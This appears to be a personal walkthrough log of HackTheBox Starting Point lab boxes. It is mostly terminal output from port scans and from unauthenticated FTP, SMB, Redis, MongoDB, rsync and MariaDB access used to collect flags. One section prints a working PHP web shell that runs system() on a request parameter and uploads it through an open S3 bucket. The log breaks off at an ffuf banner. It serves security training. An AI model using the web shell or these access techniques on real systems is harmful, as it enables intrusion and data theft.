HackTheBox Starting Point

1
┌─[tusoaring@htb-rlw5fctiog]─[~]
2
└──╼ $nmap -Pn -sV -sC 10.129.7.163
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 21:32 CDT
4
Nmap scan report for 10.129.7.163
5
Host is up (0.011s latency).
6
Not shown: 999 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
21/tcp open  ftp     vsftpd 3.0.3
9
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
10
|_-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
11
| ftp-syst:
12
|   STAT:
13
| FTP server status:
14
|      Connected to ::ffff:10.10.14.96
15
|      Logged in as ftp
16
|      TYPE: ASCII
17
|      No session bandwidth limit
18
|      Session timeout in seconds is 300
19
|      Control connection is plain text
20
|      Data connections will be plain text
21
|      At session startup, client count was 3
22
|      vsFTPd 3.0.3 - secure, fast, stable
23
|_End of status
24
Service Info: OS: Unix

1
ftp 10.129.7.163

1
admin、adminastrator、root、anonymous

1
Name (10.129.7.163:root): anonymous
2
331 Please specify the password.
3
Password:
4
230 Login successful.
5
Remote system type is UNIX

1
ftp> get flag.txt
2
local: flag.txt remote: flag.txt
3
229 Entering Extended Passive Mode (|||42514|)
4
150 Opening BINARY mode data connection for flag.txt (32 bytes).
5
100% |***********************************|    32       42.28 KiB/s    00:00 ETA
6
226 Transfer complete.
7
32 bytes received in 00:00 (3.40 KiB/s)

1
035db21c881520061c53e0536e44f815

1
─[tusoaring@htb-1famon8h34]─[~]
2
└──╼ $nmap -sC -sV -Pn 10.129.215.64
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 01:52 CDT
4
Nmap scan report for 10.129.215.64
5
Host is up (0.011s latency).
6
Not shown: 947 closed tcp ports (reset), 50 filtered tcp ports (no-response)
7
PORT    STATE SERVICE       VERSION
8
135/tcp open  msrpc         Microsoft Windows RPC
9
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
10
445/tcp open  microsoft-ds?
11
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
12

13
Host script results:
14
| smb2-time:
15
|   date: 2024-07-03T10:52:29
16
|_  start_date: N/A
17
| smb2-security-mode:
18
|   3:1:1:
19
|_    Message signing enabled but not required
20
|_clock-skew: 3h59m59s
21

22
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
23
Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds

1
┌─[tusoaring@htb-1famon8h34]─[~]
2
└──╼ $smbclient -L 10.129.215.64
3
Password for [WORKGROUP\tusoaring]:
4

5
  Sharename       Type      Comment
6
  ---------       ----      -------
7
  ADMIN$          Disk      Remote Admin
8
  C$              Disk      Default share
9
  IPC$            IPC       Remote IPC
10
  WorkShares      Disk
11
Reconnecting with SMB1 for workgroup listing.
12
do_connect: Connection to 10.129.215.64 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
13
Unable to connect with SMB1 -- no workgroup available

1
┌─[✗]─[tusoaring@htb-1famon8h34]─[~]
2
└──╼ $smbclient \\\\10.129.215.64/WorkShares
3
Password for [WORKGROUP\tusoaring]:
4
Try "help" to get a list of possible commands.
5
smb: \> ls
6
  .                                   D        0  Mon Mar 29 03:22:01 2021
7
  ..                                  D        0  Mon Mar 29 03:22:01 2021
8
  Amy.J                               D        0  Mon Mar 29 04:08:24 2021
9
  James.P                             D        0  Thu Jun  3 03:38:03 2021
10

11
    5114111 blocks of size 4096. 1734229 blocks available
12
smb: \> cd Amy.J\

1
5f61c10dffbc77a704d76016a22f1664

1
┌─[tusoaring@htb-1famon8h34]─[~]
2
└──╼ $nmap -sC -sV -Pn -p- -T4  10.129.118.118
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 01:21 CDT
4
Nmap scan report for 10.129.118.118
5
Host is up (0.0090s latency).
6
Not shown: 65534 closed tcp ports (reset)
7
PORT     STATE SERVICE VERSION
8
6379/tcp open  redis   Redis key-value store 5.0.7
9

10
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
11
Nmap done: 1 IP address (1 host up) scanned in 11.92 seconds

1
redis-cli -h 10.129.118.118

1
10.129.118.118:6379> info
2
# Server
3
redis_version:5.0.7
4
redis_git_sha1:00000000
5
redis_git_dirty:0
6
redis_build_id:66bd629f924ac924
7
redis_mode:standalone
8
os:Linux 5.4.0-77-generic x86_64
9
arch_bits:64
10
multiplexing_api:epoll
11
atomicvar_api:atomic-builtin
12
gcc_version:9.3.0
13
process_id:753
14
run_id:d285de4141cf3ace3f006256d4a11feb25a5a112
15
tcp_port:6379
16
uptime_in_seconds:1033
17
uptime_in_days:0
18
hz:10
19
configured_hz:10
20
lru_clock:8711697
21
executable:/usr/bin/redis-server
22
config_file:/etc/redis/redis.conf
23

24
# Clients
25
connected_clients:1
26
client_recent_max_input_buffer:2
27
client_recent_max_output_buffer:0
28
blocked_clients:0
29

30
# Memory
31
used_memory:859624
32
used_memory_human:839.48K
33
used_memory_rss:5840896
34
used_memory_rss_human:5.57M
35
used_memory_peak:859624
36
used_memory_peak_human:839.48K
37
used_memory_peak_perc:100.00%
38
used_memory_overhead:846142
39
used_memory_startup:796224
40
used_memory_dataset:13482
41
used_memory_dataset_perc:21.26%
42
allocator_allocated:1601400
43
allocator_active:1949696
44
allocator_resident:9158656
45
total_system_memory:2084024320
46
total_system_memory_human:1.94G
47
used_memory_lua:41984
48
used_memory_lua_human:41.00K
49
used_memory_scripts:0
50
used_memory_scripts_human:0B
51
number_of_cached_scripts:0
52
maxmemory:0
53
maxmemory_human:0B
54
maxmemory_policy:noeviction
55
allocator_frag_ratio:1.22
56
allocator_frag_bytes:348296
57
allocator_rss_ratio:4.70
58
allocator_rss_bytes:7208960
59
rss_overhead_ratio:0.64
60
rss_overhead_bytes:-3317760
61
mem_fragmentation_ratio:7.14
62
mem_fragmentation_bytes:5023280
63
mem_not_counted_for_evict:0
64
mem_replication_backlog:0
65
mem_clients_slaves:0
66
mem_clients_normal:49694
67
mem_aof_buffer:0
68
mem_allocator:jemalloc-5.2.1
69
active_defrag_running:0
70
lazyfree_pending_objects:0
71

72
# Persistence
73
loading:0
74
rdb_changes_since_last_save:0
75
rdb_bgsave_in_progress:0
76
rdb_last_save_time:1719987597
77
rdb_last_bgsave_status:ok
78
rdb_last_bgsave_time_sec:0
79
rdb_current_bgsave_time_sec:-1
80
rdb_last_cow_size:413696
81
aof_enabled:0
82
aof_rewrite_in_progress:0
83
aof_rewrite_scheduled:0
84
aof_last_rewrite_time_sec:-1
85
aof_current_rewrite_time_sec:-1
86
aof_last_bgrewrite_status:ok
87
aof_last_write_status:ok
88
aof_last_cow_size:0
89

90
# Stats
91
total_connections_received:7
92
total_commands_processed:8
93
instantaneous_ops_per_sec:0
94
total_net_input_bytes:346
95
total_net_output_bytes:18213
96
instantaneous_input_kbps:0.00
97
instantaneous_output_kbps:0.00
98
rejected_connections:0
99
sync_full:0
100
sync_partial_ok:0
101
sync_partial_err:0
102
expired_keys:0
103
expired_stale_perc:0.00
104
expired_time_cap_reached_count:0
105
evicted_keys:0
106
keyspace_hits:0
107
keyspace_misses:0
108
pubsub_channels:0
109
pubsub_patterns:0
110
latest_fork_usec:504
111
migrate_cached_sockets:0
112
slave_expires_tracked_keys:0
113
active_defrag_hits:0
114
active_defrag_misses:0
115
active_defrag_key_hits:0
116
active_defrag_key_misses:0
117

118
# Replication
119
role:master
120
connected_slaves:0
121
master_replid:7996f26a9a5e68fd7dcf4351a0dd5b48a0f64e5f
122
master_replid2:0000000000000000000000000000000000000000
123
master_repl_offset:0
124
second_repl_offset:-1
125
repl_backlog_active:0
126
repl_backlog_size:1048576
127
repl_backlog_first_byte_offset:0
128
repl_backlog_histlen:0
129

130
# CPU
131
used_cpu_sys:1.052812
132
used_cpu_user:0.957810
133
used_cpu_sys_children:0.000000
134
used_cpu_user_children:0.001695
135

136
# Cluster
137
cluster_enabled:0
138

139
# Keyspace
140
db0:keys=4,expires=0,avg_ttl=0

1
select 0

1
10.129.118.118:6379> KEYS *
2
1) "flag"
3
2) "numb"
4
3) "temp"
5
4) "stor"

1
10.129.118.118:6379> GET flag
2
"03e1d2b376c37ab3f5319922053953eb"

1
┌─[✗]─[tusoaring@htb-1famon8h34]─[~]
2
└──╼ $nmap -sC -sV -Pn 10.129.235.84
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 02:21 CDT
4
Nmap scan report for 10.129.235.84
5
Host is up (0.0099s latency).
6
Not shown: 996 closed tcp ports (reset)
7
PORT     STATE SERVICE       VERSION
8
135/tcp  open  msrpc         Microsoft Windows RPC
9
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
10
445/tcp  open  microsoft-ds?
11
3389/tcp open  ms-wbt-server Microsoft Terminal Services
12
|_ssl-date: 2024-07-03T07:21:55+00:00; 0s from scanner time.
13
| rdp-ntlm-info:
14
|   Target_Name: EXPLOSION
15
|   NetBIOS_Domain_Name: EXPLOSION
16
|   NetBIOS_Computer_Name: EXPLOSION
17
|   DNS_Domain_Name: Explosion
18
|   DNS_Computer_Name: Explosion
19
|   Product_Version: 10.0.17763
20
|_  System_Time: 2024-07-03T07:21:48+00:00
21
| ssl-cert: Subject: commonName=Explosion
22
| Not valid before: 2024-07-02T07:03:24
23
|_Not valid after:  2025-01-01T07:03:24
24
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
25

26
Host script results:
27
| smb2-security-mode:
28
|   3:1:1:
29
|_    Message signing enabled but not required
30
| smb2-time:
31
|   date: 2024-07-03T07:21:50
32
|_  start_date: N/A
33

34
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
35
Nmap done: 1 IP address (1 host up) scanned in 14.76 seconds

1
┌─[tusoaring@htb-1famon8h34]─[~]
2
└──╼ $xfreerdp /v:10.129.235.84:3389 /u:administrator

1
┌─[tusoaring@htb-1famon8h34]─[/usr/share/wordlists/dirbuster]
2
└──╼ $nmap -sC -sV -Pn 10.129.239.135
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 03:02 CDT
4
Nmap scan report for 10.129.239.135
5
Host is up (0.0098s latency).
6
Not shown: 999 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
80/tcp open  http    nginx 1.14.2
9
|_http-title: Welcome to nginx!
10
|_http-server-header: nginx/1.14.2
11

12
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
13
Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds

1
ffuf -u "http://10.129.239.135/FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php

1
gobuster dir -u 10.129.239.135 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

1
─[tusoaring@htb-1famon8h34]─[~]
2
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.228.30
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 03:26 CDT
4
Nmap scan report for 10.129.228.30
5
Host is up (0.0094s latency).
6
Not shown: 65533 closed tcp ports (reset)
7
PORT      STATE SERVICE VERSION
8
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
9
| ssh-hostkey:
10
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
11
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
12
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
13
27017/tcp open  mongodb MongoDB 3.6.8 3.6.8
14
| mongodb-databases:
15
|   totalSize = 270336.0
16
|   databases
17
|     3
18
|       name = sensitive_information
19
|       empty = false
20
|       sizeOnDisk = 32768.0
21
|     2
22
|       name = local
23
|       empty = false
24
|       sizeOnDisk = 73728.0
25
|     4
26
|       name = users
27
|       empty = false
28
|       sizeOnDisk = 32768.0
29
|     1
30
|       name = config
31
|       empty = false
32
|       sizeOnDisk = 98304.0
33
|     0
34
|       name = admin
35
|       empty = false
36
|       sizeOnDisk = 32768.0
37
|_  ok = 1.0
38
| mongodb-info:
39
|   MongoDB Build info
40
|     gitVersion = 8e540c0b6db93ce994cc548f000900bdc740f80a
41
|     storageEngines
42
|       3 = wiredTiger
43
|       2 = mmapv1
44
|       1 = ephemeralForTest
45
|       0 = devnull
46
|     ok = 1.0
47
|     versionArray
48
|       3 = 0
49
|       2 = 8
50
|       1 = 6
51
|       0 = 3
52
|     allocator = tcmalloc
53
|     debug = false
54
|     modules
55
|     maxBsonObjectSize = 16777216
56
|     version = 3.6.8
57
|     bits = 64
58
|     buildEnvironment
59
|       distarch = x86_64
60
|       distmod =
61
|       linkflags = -Wl,-Bsymbolic-functions -Wl,-z,relro -pthread -Wl,-z,now -rdynamic -fstack-protector-strong -fuse-ld=gold -Wl,--build-id -Wl,--hash-style=gnu -Wl,-z,noexecstack -Wl,--warn-execstack -Wl,-z,relro
62
|       target_arch = x86_64
63
|       target_os = linux
64
|       cxx = g++: g++ (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
65
|       cc = cc: cc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
66
|       cxxflags = -g -O2 -fdebug-prefix-map=/build/mongodb-FO9rLu/mongodb-3.6.9+really3.6.8+90~g8e540c0b6d=. -fstack-protector-strong -Wformat -Werror=format-security -Woverloaded-virtual -Wpessimizing-move -Wredundant-move -Wno-maybe-uninitialized -Wno-class-memaccess -std=c++14
67
|       ccflags = -fno-omit-frame-pointer -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Wno-error=c++1z-compat -Wno-error=noexcept-type -Wno-error=format-truncation -Wno-error=int-in-bool-context -Winvalid-pch -O2 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-const-variable -Wno-unused-but-set-variable -Wno-missing-braces -Wno-format-truncation -fstack-protector-strong -fno-builtin-memcmp
68
|     openssl
69
|       compiled = OpenSSL 1.1.1f  31 Mar 2020
70
|       running = OpenSSL 1.1.1f  31 Mar 2020
71
|     sysInfo = deprecated
72
|     javascriptEngine = mozjs
73
... 以下省略

1
┌─[tusoaring@htb-1famon8h34]─[~]
2
└──╼ $mongosh --host 10.129.228.30
3
Current Mongosh Log ID:  668514c186ff5f7460597192
4
Connecting to:    mongodb://10.129.228.30:27017/?directConnection=true&appName=mongosh+2.2.9
5
Using MongoDB:    3.6.8
6
Using Mongosh:    2.2.9
7
mongosh 2.2.10 is available for download: https://www.mongodb.com/try/download/shell
8

9
For mongosh info see: https://docs.mongodb.com/mongodb-shell/
10

11
------
12
   The server generated these startup warnings when booting
13
   2024-07-03T08:05:55.418+0000:
14
   2024-07-03T08:05:55.418+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
15
   2024-07-03T08:05:55.418+0000: **          See http://dochub.mongodb.org/core/prodnotes-filesystem
16
   2024-07-03T08:05:57.248+0000:
17
   2024-07-03T08:05:57.248+0000: ** WARNING: Access control is not enabled for the database.
18
   2024-07-03T08:05:57.248+0000: **          Read and write access to data and configuration is unrestricted.
19
   2024-07-03T08:05:57.248+0000:
20
------
21

22
test>

1
test> show dbs
2
admin                  32.00 KiB
3
config                 72.00 KiB
4
local                  72.00 KiB
5
sensitive_information  32.00 KiB
6
users                  32.00 KiB

1
test> use sensitive_information
2
switched to db sensitive_information
3
sensitive_information>

1
sensitive_information> show collections
2
flag

1
sensitive_information> db.flag.find()
2
[
3
  {
4
    _id: ObjectId('630e3dbcb82540ebbd1748c5'),
5
    flag: '1b6e6fb359e7c40241b6d431427ba6ea'
6
  }
7
]

1
1b6e6fb359e7c40241b6d431427ba6ea

1
┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
2
└──╼ $nmap -sC -sV -Pn 10.129.228.37
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 09:47 CDT
4
Nmap scan report for 10.129.228.37
5
Host is up (0.011s latency).
6
Not shown: 999 closed tcp ports (reset)
7
PORT    STATE SERVICE VERSION
8
873/tcp open  rsync   (protocol version 31)
9

10
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
11
Nmap done: 1 IP address (1 host up) scanned in 10.07 seconds

1
┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
2
└──╼ $rsync -rv rsync://10.129.228.37/ ./ --list-only
3
public           Anonymous Share

1
┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
2
└──╼ $rsync -rv rsync://10.129.228.37/public ./ --list-only
3
receiving incremental file list
4
drwxr-xr-x          4,096 2022/10/24 17:02:23 .
5
-rw-r--r--             33 2022/10/24 16:32:03 flag.txt
6

7
sent 24 bytes  received 72 bytes  10.11 bytes/sec
8
total size is 33  speedup is 0.34

1
┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
2
└──╼ $rsync -rv rsync://10.129.228.37/public/flag.txt ./
3
receiving incremental file list
4
flag.txt
5

6
sent 43 bytes  received 133 bytes  27.08 bytes/sec
7
total size is 33  speedup is 0.19
8

9
┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
10
└──╼ $cat flag.txt
11
72eaf5344ebb84908ae543a719830519

1
Usage: rsync [OPTION]... SRC [SRC]... DEST
2
  or   rsync [OPTION]... SRC [SRC]... [USER@]HOST:DEST
3
  or   rsync [OPTION]... SRC [SRC]... [USER@]HOST::DEST
4
  or   rsync [OPTION]... SRC [SRC]... rsync://[USER@]HOST[:PORT]/DEST
5
  or   rsync [OPTION]... [USER@]HOST:SRC [DEST]
6
  or   rsync [OPTION]... [USER@]HOST::SRC [DEST]
7
  or   rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
8
The ':' usages connect via remote shell, while '::' & 'rsync://' usages connect
9
to an rsync daemon, and require SRC or DEST to start with a module name.

1
┌─[tusoaring@htb-356ghjqh5e]─[~]
2
└──╼ $nmap -sC -sV -Pn 10.129.224.236
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 10:18 CDT
4
Nmap scan report for 10.129.224.236
5
Host is up (0.0098s latency).
6
Not shown: 999 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
9
|_http-title: Login
10
|_http-server-header: Apache/2.4.38 (Debian)
11

12
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
13
Nmap done: 1 IP address (1 host up) scanned in 8.29 seconds

1
┌─[tusoaring@htb-356ghjqh5e]─[~]
2
└──╼ $nmap -sC -sV -Pn 10.129.210.28
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 10:46 CDT
4
Stats: 0:02:46 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
5
NSE Timing: About 97.96% done; ETC: 10:49 (0:00:00 remaining)
6
Nmap scan report for 10.129.210.28
7
Host is up (0.0082s latency).
8
Not shown: 999 closed tcp ports (reset)
9
PORT     STATE SERVICE VERSION
10
3306/tcp open  mysql?
11
| mysql-info:
12
|   Protocol: 10
13
|   Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
14
|   Thread ID: 119
15
|   Capabilities flags: 63486
16
|   Some Capabilities: Speaks41ProtocolNew, ODBCClient, LongColumnFlag, FoundRows, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, SupportsTransactions, Speaks41ProtocolOld, Support41Auth, SupportsCompression, DontAllowDatabaseTableColumn, InteractiveClient, SupportsLoadDataLocal, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
17
|   Status: Autocommit
18
|   Salt: p/7dt<l,2V>n5X;_OJfC
19
|_  Auth Plugin Name: mysql_native_password

1
┌─[✗]─[tusoaring@htb-356ghjqh5e]─[~]
2
└──╼ $mariadb -h 10.129.210.28 -u root
3
Welcome to the MariaDB monitor.  Commands end with ; or \g.
4
Your MariaDB connection id is 132
5
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
6

7
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
8

9
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

1
MariaDB [(none)]> show databases;
2
+--------------------+
3
| Database           |
4
+--------------------+
5
| htb                |
6
| information_schema |
7
| mysql              |
8
| performance_schema |
9
+--------------------+

1
MariaDB [(none)]> use htb
2
Reading table information for completion of table and column names
3
You can turn off this feature to get a quicker startup with -A
4

5
Database changed

1
MariaDB [htb]> show tables;
2
+---------------+
3
| Tables_in_htb |
4
+---------------+
5
| config        |
6
| users         |
7
+---------------+
8
2 rows in set (0.009 sec)

1
MariaDB [htb]> select * from config;
2
+----+-----------------------+----------------------------------+
3
| id | name                  | value                            |
4
+----+-----------------------+----------------------------------+
5
|  1 | timeout               | 60s                              |
6
|  2 | security              | default                          |
7
|  3 | auto_logon            | false                            |
8
|  4 | max_size              | 2M                               |
9
|  5 | flag                  | 7b4bec00d1a39e3dd4e021ec3d915da8 |
10
|  6 | enable_uploads        | false                            |
11
|  7 | authentication_method | radius                           |
12
+----+-----------------------+----------------------------------+
13
7 rows in set (0.009 sec)

1
┌─[tusoaring@htb-356ghjqh5e]─[~]
2
└──╼ $nmap -sC -sV -Pn 10.129.1.15
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 13:39 CDT
4
Nmap scan report for 10.129.1.15
5
Host is up (0.010s latency).
6
Not shown: 998 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
21/tcp open  ftp     vsftpd 3.0.3
9
| ftp-syst:
10
|   STAT:
11
| FTP server status:
12
|      Connected to ::ffff:10.10.15.22
13
|      Logged in as ftp
14
|      TYPE: ASCII
15
|      No session bandwidth limit
16
|      Session timeout in seconds is 300
17
|      Control connection is plain text
18
|      Data connections will be plain text
19
|      At session startup, client count was 2
20
|      vsFTPd 3.0.3 - secure, fast, stable
21
|_End of status
22
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
23
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
24
|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
25
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
26
|_http-title: Smash - Bootstrap Business Template
27
|_http-server-header: Apache/2.4.41 (Ubuntu)
28
Service Info: OS: Unix
29

30
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
31
Nmap done: 1 IP address (1 host up) scanned in 6.88 seconds

1
─[✗]─[tusoaring@htb-356ghjqh5e]─[~]
2
└──╼ $ftp 10.129.1.15
3
Connected to 10.129.1.15.
4
220 (vsFTPd 3.0.3)
5
Name (10.129.1.15:root): anonymous
6
230 Login successful.
7
Remote system type is UNIX.
8
Using binary mode to transfer files.
9
ftp>

1
ftp> get allowed.userlist
2
local: allowed.userlist remote: allowed.userlist
3
229 Entering Extended Passive Mode (|||41791|)
4
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
5
100% |***********************************|    33      325.52 KiB/s    00:00 ETA
6
226 Transfer complete.
7
33 bytes received in 00:00 (4.04 KiB/s)
8
ftp> get allowed.userlist.passwd
9
local: allowed.userlist.passwd remote: allowed.userlist.passwd
10
229 Entering Extended Passive Mode (|||42842|)
11
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
12
100% |***********************************|    62      432.47 KiB/s    00:00 ETA
13
226 Transfer complete.
14
62 bytes received in 00:00 (7.55 KiB/s)

1
┌─[tusoaring@htb-356ghjqh5e]─[~]
2
└──╼ $cat allowed.userlist
3
aron
4
pwnmeow
5
egotisticalsw
6
admin
7
┌─[tusoaring@htb-356ghjqh5e]─[~]
8
└──╼ $cat allowed.userlist.passwd
9
root
10
Supersecretpassword1
11
@BaASD&9032123sADS
12
rKXM59ESxesUFHAd

1
┌─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
2
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.169.167
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-04 00:14 CDT
4
Nmap scan report for thetoppers.htb (10.129.169.167)
5
Host is up (0.0093s latency).
6
Not shown: 65533 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
9
| ssh-hostkey:
10
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
11
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
12
|_  256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
13
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
14
|_http-title: The Toppers
15
|_http-server-header: Apache/2.4.29 (Ubuntu)
16
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17

18
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19
Nmap done: 1 IP address (1 host up) scanned in 18.44 seconds

1
┌─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
2
└──╼ $cat /etc/hosts
3
127.0.0.1  localhost
4
127.0.1.1  debian12-parrot
5

6
# The following lines are desirable for IPv6 capable hosts
7
::1     localhost ip6-localhost ip6-loopback
8
ff02::1 ip6-allnodes
9
ff02::2 ip6-allrouters
10
127.0.0.1 localhost
11
127.0.1.1 htb-qpxebqmsfv htb-qpxebqmsfv.htb-cloud.com
12
10.129.169.167 thetoppers.htb

1
┌─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
2
└──╼ $wfuzz -c -w ./subdomaindict.txt -u "http://thetoppers.htb/" -H "Host: FUZZ.thetoppers.htb"
3

4
000000248:   200        234 L    1036 W     11947 Ch    "alpha"
5
000000244:   200        234 L    1036 W     11947 Ch    "panelstats"
6
000000247:   404        0 L      2 W        21 Ch       "s3"
7
000000214:   200        234 L    1036 W     11947 Ch    "mail4"
8
000000228:   200        234 L    1036 W     11947 Ch    "rss"
9
000000246:   200        234 L    1036 W     11947 Ch    "cacti"

1
┌─[tusoaring@htb-qpxebqmsfv]─[~]
2
└──╼ $cat /etc/hosts
3
127.0.0.1  localhost
4
127.0.1.1  debian12-parrot
5

6
# The following lines are desirable for IPv6 capable hosts
7
::1     localhost ip6-localhost ip6-loopback
8
ff02::1 ip6-allnodes
9
ff02::2 ip6-allrouters
10
127.0.0.1 localhost
11
127.0.1.1 htb-qpxebqmsfv htb-qpxebqmsfv.htb-cloud.com
12
10.129.30.97 thetoppers.htb
13
10.129.30.97 s3.thetoppers.htb
14

15

16
┌─[✗]─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
17
└──╼ $curl http://s3.thetoppers.htb/
18
{"status": "running"}

1
┌─[✗]─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
2
└──╼ $aws configure
3
AWS Access Key ID [****************temp]: {anything}
4
AWS Secret Access Key [****************temp]: {anything}
5
Default region name [temp]: {anything}
6
Default output format [temp]: {anything}

1
┌─[✗]─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
2
└──╼ $aws s3 --endpoint=http://s3.thetoppers.htb/ ls
3
2024-07-04 01:55:16 thetoppers.htb

1
┌─[✗]─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
2
└──╼ $aws s3 --endpoint=http://s3.thetoppers.htb ls s3://thetoppers.htb
3
                           PRE images/
4
2024-07-04 01:55:16          0 .htaccess
5
2024-07-04 01:55:16      11952 index.php

1
<html>
2
<body>
3
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
4
<input type="TEXT" name="cmd" id="cmd" size="80">
5
<input type="SUBMIT" value="Execute">
6
</form>
7
<pre>
8
<?php
9
    if(isset($_GET['cmd']))
10
    {
11
        system($_GET['cmd']);
12
    }
13
?>
14
</pre>
15
</body>
16
<script>document.getElementById("cmd").focus();</script>
17
</html>

1
┌─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
2
└──╼ $aws s3 --endpoint=http://s3.thetoppers.htb cp ./webshell.php s3://thetoppers.htb
3
upload: ./webshell.php to s3://thetoppers.htb/webshell.php

1
a980d99281a28d638ac68b9bf9453c2b

1
┌─[tusoaring@htb-5qylkecaww]─[~/Desktop]
2
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.1.27
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-04 04:57 CDT
4
Nmap scan report for ignition.htb (10.129.1.27)
5
Host is up (0.011s latency).
6
Not shown: 65534 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
80/tcp open  http    nginx 1.14.2
9
|_http-server-header: nginx/1.14.2
10
|_http-title: Home page
11

12
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
13
Nmap done: 1 IP address (1 host up) scanned in 14.37 seconds

1
┌─[✗]─[tusoaring@htb-5qylkecaww]─[~/Desktop]
2
└──╼ $cat /etc/hosts
3
127.0.0.1  localhost
4
127.0.1.1  debian12-parrot
5

6
# The following lines are desirable for IPv6 capable hosts
7
::1     localhost ip6-localhost ip6-loopback
8
ff02::1 ip6-allnodes
9
ff02::2 ip6-allrouters
10
127.0.0.1 localhost
11
127.0.1.1 htb-5qylkecaww htb-5qylkecaww.htb-cloud.com
12
10.129.1.27 ignition.htb

1
┌─[✗]─[tusoaring@htb-5qylkecaww]─[~/Desktop]
2
└──╼ $ffuf -u 'http://ignition.htb/FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c
3

4
        /'___\  /'___\           /'___\
5
       /\ \__/ /\ \__/  __  __  /\ \__/
6
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
7
